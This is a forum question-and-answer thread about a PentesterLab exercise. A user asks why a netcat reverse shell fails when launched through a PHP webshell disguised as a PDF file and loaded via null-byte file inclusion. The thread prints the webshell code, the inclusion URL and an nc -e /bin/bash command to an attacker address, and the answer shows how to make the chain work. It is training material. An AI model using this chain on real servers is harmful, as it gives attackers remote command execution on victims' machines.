2

I am doing an exercise of PentesterLab, I've got a webshell called 1.pdf, and it can be included in index.php as a PHP file. It contains code like this:

%PDF-1.4
<?php
echo system($_GET["cmd"]);
?>

Now I want to create a reverse shell using nc with following commands, but it does not work properly:

index.php?page=uploads/1.pdf%00&cmd=/bin/nc 192.168.117.128 8001 -e /bin/bash

If I input commands at 192.168.117.128 then enter, nothing was output.

While, if I run the following commands directly in the VM(the target server), it connects to the attacker properly:

/bin/nc 192.168.117.128 8001 -e /bin/bash

Output of commands are properly echoed at 192.168.117.128

I wonder why netcat works in VM properly but does not work in webshell?

Anyone's help is appreciated, thanks.

Improve this question
9
  • What does the apache logs say? Also, do you see the process in "ps aux"?
    – Dog eat cat world
    Commented Apr 9, 2014 at 6:51
  • there's no nc in "ps aux | grep nc", and I can't access /var/apache2/log because I don't have enough authority, with a warning "permission denied"
    – Memory
    Commented Apr 9, 2014 at 9:12
  • Ok, think I've spotted something. You probably don't need the %00 in your query. How does it work without it?
    – Dog eat cat world
    Commented Apr 9, 2014 at 12:13
  • 1
    The %00 is indeed neccessary to truncate the default extension '.php'. It returned an error without %00, "Warning: include(uploads/1.pdf.php): failed to open stream: No such file or directory in /var/www/index.php on line 28 Warning: include(): Failed opening 'uploads/1.pdf.php' for inclusion (include_path='.:') in /var/www/index.php on line 28 "
    – Memory
    Commented Apr 10, 2014 at 3:05
  • You are right, my lazy eye did not spot it was part of the GET parameters
    – Dog eat cat world
    Commented Apr 14, 2014 at 12:49

1 Answer 1

Reset to default
2

Put your cmd parameter before the null byte injection in the exploit URL. Null will cause your query string to terminate early.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .